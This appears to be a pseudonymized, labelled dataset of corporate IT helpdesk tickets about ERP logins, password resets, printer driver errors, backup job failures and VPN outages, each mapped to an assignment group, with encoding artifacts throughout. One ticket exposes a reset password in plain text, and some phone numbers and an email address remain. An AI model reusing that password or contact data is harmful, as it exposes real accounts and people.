received from: ucphibmr.dfvkbtsj@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
my computer is hot and the fan runs all the time so you can hear it.\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_28.Ticket with Short description: kabel vga tauschen \jionmpsf wnkpzcmv, Description: kabel vga tauschen \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: monitor defekt, Description: hallo ,\_x000D\_
\_x000D\_
der monitor von ahmet gÃ¶k im materiallager macht probleme. \_x000D\_
kannst du dir das bitte anschauen.\_x000D\_
, is assigned to Assignment group: GRP\_24.Ticket with Short description: install pulverleitstand \tmqfjard qzhgdoua, Description: install pulverleitstand \tmqfjard qzhgdoua, is assigned to Assignment group: GRP\_24.Ticket with Short description: falsche formatierung in pdf \bfqnvezs vwkasnxe, Description: falsche formatierung in pdf \bfqnvezs vwkasnxe, is assigned to Assignment group: GRP\_24.Ticket with Short description: install pulverleitstand \vaigycet jtgmpdcr, Description: install pulverleitstand \vaigycet jtgmpdcr, is assigned to Assignment group: GRP\_24.Ticket with Short description: job Job\_1338 failed in job\_scheduler at: 09/15/2016 02:46:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1338 failed in job\_scheduler at: 09/15/2016 02:46:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: crm complaint no.7611183893 - it ticket required, Description: \_x000D\_
\_x000D\_
received from: wiypaqtu.lmgqbpvi@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please raise it ticket on behalf of me for crm complaint no.7611183893 having error and it's not archived to ecc 6\_x000D\_
\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_15.Ticket with Short description: login failure - erp user nieghjyukea, Description: \_x000D\_
\_x000D\_
received from: bwvrncih.ibuyfrcq@gmail.com\_x000D\_
\_x000D\_
good morning team\_x000D\_
\_x000D\_
i have a problem login into erp, please can you assist?\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp-engineering tool, Description:
received from: bqapjkcl.ljeakcqf@gmail.com
please reset my password in erp-engineering tool.
dipl.-ing.(ba) bqapjkcl ljeakcqf
bqapjkcl.ljeakcqf@gmail.com<mailto:bqapjkcl.ljeakcqf@gmail.com>
company shared services gmbh
managing directors/geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx, naruedlk mpvhakdq
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reenable erp SID\_34 account for vvaghjnthl - same as that of henghl, Description:
received from: rxoynvgi.ntgdsehl@gmail.com
hi it team
kindly please assist to reset SID\_34 password for user: vvaghjnthl.
hydstheud mddwwyleh
operation supervisor
company distribution services of asia pte ltd
email : rxoynvgi.ntgdsehl@gmail.com<mailto:rxoynvgi.ntgdsehl@gmail.com>, is assigned to Assignment group: GRP\_2.Ticket with Short description: logon balancing error, Description: \_x000D\_
\_x000D\_
received from: wrelsfqa.qfwosjkh@gmail.com\_x000D\_
\_x000D\_
good morning\_x000D\_
\_x000D\_
please help. a few of us the south africa office in south africa cannot log into erp. we are all getting " log on balancing error 88". it looks like the diginet line is down. it is not effecting everyone.\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: username: mabelteghj erp logon, Description: \_x000D\_
\_x000D\_
received from: gkerqucv.bqumyrea@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
\_x000D\_
i am not able to log in erp, kindly assist.\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp system, Description:
received from: iksqbuxf.muzxgwvk@gmail.com
morning
please help syghmesa i can not lock in to erp i did do a shutdown on my computer still not
please please help us at company south africa
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp, Description: \_x000D\_
\_x000D\_
received from: vtzhelgs.ivewqogm@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
\_x000D\_
can you please assist as i cannot log into erp. i receive the following error;\_x000D\_
\_x000D\_
[cid:image001.png@01d20f27.6d462360]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: re; erp, Description: \_x000D\_
\_x000D\_
received from: btyvqhjw.xbyolhsw@gmail.com\_x000D\_
\_x000D\_
good day\_x000D\_
\_x000D\_
trust you are well\_x000D\_
please can you help cant lock in to erp give me the 88 code\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: an terminal 12 bei iso-u kÃ¶nnen im EU\_tool keine zeichnungen mehr aufgerufen werden!!, Description: an terminal 12 bei iso-u kÃ¶nnen im EU\_tool keine zeichnungen mehr aufgerufen werden!! diese funktion wird wegen der auftragsbereitstellung benÃ¶tigt!!!!, is assigned to Assignment group: GRP\_42.Ticket with Short description: bobj error , Description: issue while refreshing the global spend analytics v2 report in bobj, is assigned to Assignment group: GRP\_9.Ticket with Short description: job bkwin\_tax\_interface\_qa\_daily failed in job\_scheduler at: 09/15/2016 00:23:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
[critical] from: bma@HostName\_1020.company.company.com "lib5\_drive2" time: 9/14/2016 11:49:50 pm\_x000D\_
[90:1004] device address not found. \_x000D\_
\_x000D\_
\_x000D\_
backup statistics:\_x000D\_
\_x000D\_
session queuing time (hours) 0.00 \_x000D\_
------------------------------------------- \_x000D\_
completed disk agents ........ 11 \_x000D\_
failed disk agents ........... 0 \_x000D\_
aborted disk agents .......... 0 \_x000D\_
------------------------------------------- \_x000D\_
disk agents total ........... 11 \_x000D\_
=========================================== \_x000D\_
completed media agents ....... 1 \_x000D\_
failed media agents .......... 0 \_x000D\_
aborted media agents ......... 0 \_x000D\_
------------------------------------------- \_x000D\_
media agents total .......... 1 \_x000D\_
=========================================== \_x000D\_
mbytes total ................. 148763 mb \_x000D\_
used media total ............. 1 \_x000D\_
disk agent errors total ...... 0 \_x000D\_
\_x000D\_
job bkwin\_tax\_interface\_qa\_daily failed in job\_scheduler at: 09/15/2016 00:23:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: delete the charm 8111117934, since it is no longer required, Description: request you to delete the above charm since it is no longer required, is assigned to Assignment group: GRP\_38.Ticket with Short description: job pp\_EU\_tool\_netch\_ap2 failed in job\_scheduler at: 09/14/2016 22:13:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap2 failed in job\_scheduler at: 09/14/2016 22:13:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bkwin\_HostName\_770\_inc failed in job\_scheduler at: 09/14/2016 21:57:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
[major] from: bsm@HostName\_1020.company.company.com "HostName\_770-full-backup" time: 9/14/2016 9:09:47 pm\_x000D\_
[61:3003] lost connection to vbda named "HostName\_770.company.company.com [/e]"\_x000D\_
on host HostName\_770.company.company.com.\_x000D\_
ipc subsystem reports: "ipc read error\_x000D\_
system error: [10054] connection reset by peer\_x000D\_
\_x000D\_
job bkwin\_HostName\_770\_inc failed in job\_scheduler at: 09/14/2016 21:57:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: unable to load engineering\_tool on my new 2-1 says that it cannot connect to internet??, Description: see above cell#, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn and vpn will not allow access to erp, Description:
received from: pfzxecbo.ptygkvzl@gmail.com
this is the second time this week i have had an issue with vpn. vpn was my workaround monday, but it is not working for me either this evening.
pfzxecbo ptygkvzl
sr analyst, na indirect industrial sales
pfzxecbo.ptygkvzl@gmail.com<mailto:pfzxecbo.ptygkvzl@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool phone app, Description: \_x000D\_
\_x000D\_
received from: vjuxfokc.cwhxnoug@gmail.com\_x000D\_
\_x000D\_
please see attached screenshot of the engineering\_tool app.\_x000D\_
\_x000D\_
i am no longer able to check availability as the message "unable to connect to availability server "\_x000D\_
\_x000D\_
i have tried uninstalling and reinstalling but didn't fix the problem?\_x000D\_
\_x000D\_
is there a known issue?\_x000D\_
\_x000D\_
it has been like this for a few weeks.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_51.Ticket with Short description: can you please remove quyhn mcgudftigre from usa campus calendars as requested , Description: from: cwuospin nbhoxqpe
sent: wednesday, september 14, 2016 9:42 pm
to: othybin graceuyt; nwfodmhc exurcwkm
cc: -facility
subject: rakthyesh - re: elt update call
hello help
can you please remove quyhn mcgudftigre from usa campus calendars as requested
sincerely,
stanfghyley guhtykes, fmp
facilities manager
usa campus
on sep 14, 2016, at 11:23 am, othybin graceuyt <hkrecpfv.kgwpbexv@gmail.com> wrote:
hello. please check this and see if quyhn's meetings can be removed from the calendar.
, is assigned to Assignment group: GRP\_26.Ticket with Short description: since last security update i have been unable to print anything on the network printers, Description: error message asks me if i trust the printer, then tells me i need to download a driver for it. phone number 724-539-4869, is assigned to Assignment group: GRP\_0.Ticket with Short description: application response time (other network resources work normally), Description: please provide details in the template below (if multiple applications are impacted, please use the quick ticket template in the "operations" folder).\_x000D\_
site / location : usa\_x000D\_
user id (ad) :steince\_x000D\_
system you are seeing performance problems on (please list all) (e.g., crm, erp, bw, bobj):erp SID\_34\_x000D\_
transactions that are slow (e.g., va01, create an order):va01\_x000D\_
area this belongs to (e.g., sales, finance, markhtyeting etc.):order processing\_x000D\_
how can this issue be replicated by the it support group:\_x000D\_
are other users seeing this? there are 5 remote users\_x000D\_
please attach relevant screenshots and exact times when the issue occurred:, is assigned to Assignment group: GRP\_4.Ticket with Short description: outlook/crm error, Description:
received from: qjiutmel.fgvtxeoy@gmail.com
neither crm or outlook will load. i have restarted the pc 3 times. locked up several times while synchronizing with crm
login: wghjkftewj
[image1.jpg]
[image2.jpg]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: all contacts loaded for imts -existing accounts (214 of them) did not carry all required fields over from erp crm to msd, Description: prospect account contacts came over ok. the contacts that came over incorrectly came over through elm , is assigned to Assignment group: GRP\_40.Ticket with Short description: job SID\_37hotf failed in job\_scheduler at: 09/14/2016 17:05:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hotf failed in job\_scheduler at: 09/14/2016 17:05:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and reset the password.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: office 2013 for qohfjpna exphkims shows activation required, Description: we needed to reimage the pc of qohfjpna exphkims (palghjmal1) and now the office 2013 (that comes with the company image from deeghyupak raju) is showing that activation is required. also it shows that leslie account is not associated to that office product. she always had ms office. we just needed to reimage the pc. could you please check her account to fix that? , is assigned to Assignment group: GRP\_26.Ticket with Short description: remove, Description:
received from: kaguhxwo.uoyipxqg@gmail.com
hi it,
please help remove rujpckto lhutkpxm on themfg\_grp group. , is assigned to Assignment group: GRP\_0.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-user has tried the password\_management\_tool pwd manager.\_x000D\_
-unlocked and reset the erp id to"daypay3".\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: need to change password and get it synced on system, Description: need to change password and get it synced on system, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not allowing to open emails in the inbox., Description: outlook not allowing to open emails in the inbox.\_x000D\_
connected to the user system using teamviewer\_x000D\_
-sent a uacyltoe hxgaycze mail to the user from the user mailbox.\_x000D\_
-user confirmed he is able to open it.\_x000D\_
-advised the user to close and reopen the outllok and check.\_x000D\_
-caller confirmed that he is now able to see the emails on outlook.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: external monitors not detecting with dell 2in 1 tablet, Description: external monitors not detecting with dell 2in 1 tablet, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked, Description: erp SID\_34 account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: printer problem / issue information, Description: please complete all required questions below. \_x000D\_
if not, it will be returned back to the gsc / requester to provide required information\_x000D\_
\_x000D\_
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.\_x000D\_
\_x000D\_
â€¢ printer name / make - model? (ex hq50 â€“ wy98 - hp 8150) - kd05 (hp color laserjet 4600 pcl6)\_x000D\_
\_x000D\_
â€¢ detailed description of the problem ? when i try to send a document to this printer, it says "driver update needed" next to printer name. when i click "print," it starts to download drivers, and repeats this several times, before displaying error "windows cannot print due to a problem with the current printer setup." i have printed on this printer on my machine before.\_x000D\_
\_x000D\_
â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) \_x000D\_
(inwarehouse\_tool â€“ delivery note â€“ production orderâ€¦etc) - specifically microsoft word documents, but i have also tried printing emails and excel documents\_x000D\_
\_x000D\_
â€¢ what system or application being used at time of the problem? (ex windows / erp /kls) - microsoft word, microsoft excel, microsoft outlook\_x000D\_
\_x000D\_
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? - n/a\_x000D\_
\_x000D\_
â€¢ if erp system, which system? (ex SID\_34 / SID\_38 / hrp / plm) - n/a\_x000D\_
\_x000D\_
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily? - n/a\_x000D\_
what printer can it be rerouted too? - n/a\_x000D\_
\_x000D\_
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket., is assigned to Assignment group: GRP\_3.Ticket with Short description: erp SID\_39 password reset, Description: erp SID\_39 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: printer driver error, Description: \_x000D\_
\_x000D\_
received from: sdbcpvtx.hzpctsla@gmail.com\_x000D\_
\_x000D\_
good afternoon,\_x000D\_
\_x000D\_
i know it isn't only happening to me but i get this error when i try to print on my normal default printer. it says it needs a driver installed then i get this box. when i try to get a screenshot the 'now printing' box pops up. if i close snipping tool it goes away but pops back up every time i try to use the snipping tool to show you the error.\_x000D\_
monday bzxljkoy rvoiqthl was getting the same error.\_x000D\_
\_x000D\_
[cid:image001.png@01d20e90.37f2e370]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: pc set up for new employee -mghlisha.baranwfhrty , Description: setup laptop for new hire:mghlisha.baranwfhrty , is assigned to Assignment group: GRP\_19.Ticket with Short description: wifi issue, Description: wifi is not getting connect, is assigned to Assignment group: GRP\_19.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and unlocked the account.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that she was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: spam email, Description: from: vmqcyzda kgvrfwcj
sent: wednesday, september 14, 2016 8:00 pm
to: ron port; nwfodmhc exurcwkm
cc: tjlizqgc ngvwoukp; ytqhfmwi itnakpmc; billghj dhjuyick; lipfnxsy rvjlnpef
subject: amar - fw: summit meeting
importance: high
help desk,
this email is not legit and it looks like it's for the upcoming business practice summit.
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: pc set up for new employee , Description: : pc set up for new employee :krisyuhnyrtkurtyar .kghpanhjuwdian, is assigned to Assignment group: GRP\_19.Ticket with Short description: pdf printer, Description: i want software to print documents to pdf, is assigned to Assignment group: GRP\_19.Ticket with Short description: change the old pc, Description: configure the new laptop and remove the old pc, is assigned to Assignment group: GRP\_19.Ticket with Short description: frequent account lockout, Description: my account is getting locked frequently. worked with gso many times on the same and still the same. please check from your end. , is assigned to Assignment group: GRP\_2.Ticket with Short description: mii uacyltoe hxgaycze from lacw8515941 : duration is high for loading as 60.69 s and refresh loaded 5.11 s , Description: mii uacyltoe hxgaycze from lacw8515941 : duration is high for loading as 39.69 s and refresh loaded 5.11 s , is assigned to Assignment group: GRP\_14.Ticket with Short description: approved expense report date range error, Description: ess portal
expense report 3111110041 approved with wrong date range showing 8/6/16 - 9/16/16 and needs to say 8/6/16-8/12/16
need to change dates in order to enter in an expense report for dates ranging 8/22/16-8/25/16, is assigned to Assignment group: GRP\_10.Ticket with Short description: i am locked out of skype, Description: nan, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to host a skype meeting from a conference room, Description: unable to host a skype meeting from a conference room
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip2: printer driver update, Description: vip2: printer driver update, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp user blocked, please unlock immediately & extend the account if necessary - tomorrow is our py run, Description:
received from: lixwgnto.krutnylz@gmail.com
please unlock user ghjvreicj immediately in erp and extend the account to 31 dec 16.
it is immediately needed â€“ tomorrow is our py run!!!!
von: tszvorba wtldpncx [mailto:jreichard@ppstrixner.de]
gesendet: mittwoch, 14. september 2016 16:57
an: nkjtoxwv wqtlzvxu
cc: lixwgnto krutnylz
betreff: in erp gesperrt - bitte dringend wieder frei schalten
wichtigkeit: hoch
hallo herr hohgajnn,
ich wollte mich eben ein weiteres mal anmelden und habe auch sicher die korrekten anmeldedaten eingegeben.
leider bin ich nun gesperrt.
in anbetracht der bevorstehenden abrechnung benÃ¶tige ich dringend eine freischaltung in erp.
vielen dank im voraus und viele grÃ¼ÃŸe
tszvorba wtldpncx
teamleitung
[logo neu final klein]
personal partner strixner gmbh
[cid:image005.jpg@01d20ea9.0c16ac00]
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset from password\_management\_tool, Description: password reset from password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: problem with printing, Description: \_x000D\_
\_x000D\_
received from: iqcylpok.ascpqvni@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am unable to print to the network printers in my area. i get pop ups to install the drivers but then there is an error. please help!\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: pricing error on order number 35022202., Description: we are unable to change the price on the order number 35022202. can you please help us fix this issue before the inwarehouse\_tool is created tonight. \_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: erp SID\_39 password reset, Description: erp SID\_39 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for ahydmrbu fjymgtvo on other / telephony\_software, Description: hello,\_x000D\_
could you please reset my password to telephony\_software supervisor system?\_x000D\_
, is assigned to Assignment group: GRP\_7.Ticket with Short description: account locked in ad, Description: name:afplnyxb eiomnuba
language:
browser:microsoft internet explorer
email:afplnyxb.eiomnuba@gmail.com
customer number:
telephone:
summary:the password for my vpn is blokker again.
can you please reset teh password? username is vanghtydec
do i have to change the password after you have unlocked it?, is assigned to Assignment group: GRP\_0.Ticket with Short description: :unable to log on to outlook this morning, Description: unable to log on to outlook this morning\_x000D\_
\_x000D\_
microsoft crm add-in was corrupted, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to get skype calls, Description: name:bixsapwu lcamiopz
language:
browser:microsoft internet explorer
email:bixsapwu.lcamiopz@gmail.com
customer number:
telephone:
summary:is there a reason that skype will not call me at a conference room in the usa campus, is assigned to Assignment group: GRP\_0.Ticket with Short description: power outage: vogelfontein ,sa vpn circuit is down at 9:47 am et on 09/14. site is up on primary., Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_ 9:47 am et on 09/14\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: update user to interaction desktop, Description: update user to interaction desktop\_x000D\_
ypdhesrq eotjzyxm\_x000D\_
rqll8516072 , is assigned to Assignment group: GRP\_7.Ticket with Short description: infotype 0017 for 2016-09-01 does not exist for personal no 5650555, Description: infotype 0017 for 2016-09-01 does not exist for personal no 5650555
phone: +, is assigned to Assignment group: GRP\_10.Ticket with Short description: unable to install the gd&t font, Description: name: ovxwqybe gevzkrlp
email: ovxwqybe.gevzkrlp@gmail.com
telephone:
summary: need gd&t font installed, is assigned to Assignment group: GRP\_3.Ticket with Short description: re: ticket\_no1533125 -- comments added, Description:
received from: pfzxecbo.ptygkvzl@gmail.com
screen prints are attached to highlight the same fields i had listed in the spreadsheet provided.
this is a live SID\_1 example that can be reviewed, incase you werent aware.
[cid:image005.jpg@01d20e69.4b484c70]
[cid:image006.jpg@01d20e69.4b484c70]
[cid:image008.jpg@01d20e69.4b484c70]
[cid:image012.jpg@01d20e69.4b484c70]
from: pfzxecbo ptygkvzl
sent: friday, september 09, 2016 3:56 pm
to: company@ticketing\_tool.com
cc: raghfhgh gowhjtya <froajhdb.ijetmkuc@gmail.com>
subject: re: ticket\_no1533125 -- comments added
example attached.
SID\_1- v-11119004
if there are any questions, please let me know., is assigned to Assignment group: GRP\_9.Ticket with Short description: SID\_78user locked out, Description: SID\_78user locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: mii update, Description: mii update, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to vpn, Description: unable to login to vpn as the page stopped at checking antivirus client , is assigned to Assignment group: GRP\_0.Ticket with Short description: error - failed to reset cached password., Description: locked and unlocked the pc with the new password.\_x000D\_
updated password for email access and companysecure on cell phone, is assigned to Assignment group: GRP\_0.Ticket with Short description: vmsliazh ltksxmyv edksm005 please change schedule of job "import complete erp data (nightly)", Description: the files at 0:30 h seems to have missing records. later files seems to be complete \_x000D\_
the nightly update for milano runs at 3:30 too - this simplyfies support\_x000D\_
\_x000D\_
please change the values in the field "occurs once at" and starting at in the attached schedule picture from 0:30 to 3:30 h\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_49.Ticket with Short description: speakers not working, , Description: issue: speakers are not working.\_x000D\_
troubleshooting:-\_x000D\_
-ran hardware troubleshooter got the message that no speaker, hehr\_toolhone connected to device.\_x000D\_
-checked in device manager realtek audio driver was installed tried updating it, but no update available.\_x000D\_
-tried downloading driver from dell.com/support but as speaker is not installed in the system unable to install any driver.\_x000D\_
-checked playing an audio using earphone and it worked fine, confirming its an issue with the hardware.\_x000D\_
\_x000D\_
conclusion: either speaker is not installed or is not working, is assigned to Assignment group: GRP\_19.Ticket with Short description: outlook not responding after crm sync., Description: outlook not responding after crm sync., is assigned to Assignment group: GRP\_0.Ticket with Short description: reset prtgghj4k password, Description: please reset my prtgghj4k password., is assigned to Assignment group: GRP\_0.Ticket with Short description: can not print to tc 28 or tc19 on HostName\_769, Description: since the mandatory it reboot on monday trkwehzg pqjrhsul and i have been unable to print to tc28. i tried tc19 this morning and was also unsuccessful. when attempting to print, a dialogue box pops up and copies some dll files to the c:\ drive. then an error message pops up saying "there was an error when printing started. check printer setup in windows control panel." i tried to update the driver from the control panel and the same dll files are downloaded as when i attempt to print. i've tried printing from several applications (outlook, excel, adobe reader) with no success. other users are still able to print to the printer, it just spit out an erp order from one of the engineers.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype audio functionality is not working as per expected, Description: skype audio functionality is not working as per expected, is assigned to Assignment group: GRP\_26.Ticket with Short description: locked out of SID\_37. please reset password, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?):\_x000D\_
\_x000D\_
enter user id of user having the issue:\_x000D\_
\_x000D\_
transaction code(s) the user needs or was working with:\_x000D\_
\_x000D\_
describe the issue:\_x000D\_
\_x000D\_
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.\_x000D\_
\_x000D\_
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: outlook password prompt, Description: microsoft connectivity analyzer software confirms that the software is too old to support.\_x000D\_
downloading and installing the service pack fails - no supported software found.\_x000D\_
repaired ms office installation, cleared credentials manager, deleted profile, and contents of app data, local, ms, outlook, restarted pc.\_x000D\_
microsoft office 2010 version , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp issue for invoicing, insufficient stock mm#2247736 even though there is inventory available., Description: customer service at usa, issues sales orders for acct #81254672. consignment inventory shows stock but there may be a batch block that prevents them from allocating inventrtgoy for billing purposes. there is something odd with mm2247736, mb58, erp. this is maghyuigie ghjkzalez, ph . , is assigned to Assignment group: GRP\_13.Ticket with Short description: can't open attached inwarehouse\_tools with opentext at erp - see attachment, Description: can't open attached inwarehouse\_tools with opentext at erp - see attachment, is assigned to Assignment group: GRP\_0.Ticket with Short description: transfer tool trial reports from old laptop to new laptop, Description: \_x000D\_
\_x000D\_
received from: jkpwisnf.lgpdyncm@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
could you please help me in subjected case.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile phone, Description: no e-mail receipt for user jkuaslxe hrodszpl and gezpktrq opkqwevj
would you please contact above users as they are currently not receiving e-mails on their mobile phone.
jkuaslxe hrodszpl
gezpktrq opkqwevj
please note that they are currently travelling outside of germany., is assigned to Assignment group: GRP\_63.Ticket with Short description: mii not working, Description: mii is taking more than 5 min to load. when it does load everyone is getting a br error (attached), is assigned to Assignment group: GRP\_0.Ticket with Short description: wl43 scanner not working., Description: wl43 scanner not working. printer is working fine. only the scanner is not working.
phone: , is assigned to Assignment group: GRP\_33.Ticket with Short description: file server not functioning, Description: the lights at the back of one of the file servers on site is not blinking.\_x000D\_
part of the plant does not access to network resources.\_x000D\_
\_x000D\_
please help check.\_x000D\_
\_x000D\_
local file servers\_x000D\_
\_x000D\_
\\HostName\_1259 - \_x000D\_
\\lrrsm007 - \_x000D\_
\\HostName\_1260\_x000D\_
\_x000D\_
contact # 252 536 5209, is assigned to Assignment group: GRP\_12.Ticket with Short description: shop\_floor\_app password misplaced., Description: name:deghjick culghjn
language:
browser:microsoft internet explorer
email:cizplrvw.ymxgteir@gmail.com
customer number:
telephone
summary:i have forgotten my password to shop\_floor\_app, is assigned to Assignment group: GRP\_43.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: the erp - mii HostName\_343 : jstart.exe service is showing as critical., Description: the erp - mii HostName\_343 : jstart.exe service is showing as critical., is assigned to Assignment group: GRP\_14.Ticket with Short description: mii technical error across usa location., Description: :in usa we are receiving a technical error on the mii system and i cannot even log off
contact number: , is assigned to Assignment group: GRP\_41.Ticket with Short description: bearbeitung der aktuellen situation nicht mÃ¶glich, Description: \_x000D\_
\_x000D\_
received from: znqlmjvt.uhyokzlt@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
das file ist unter folgenden link verfÃ¼gbar.\_x000D\_
\_x000D\_
\_x000D\_
seit heute frÃ¼h ist es nicht mehr mÃ¶glich die datei zu bearbeiten, da folgende fehlermeldung beim Ã¶ffnen der datei eingeblendet wird.\_x000D\_
\_x000D\_
[cid:image002.png@01d20e87.e5b872d0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
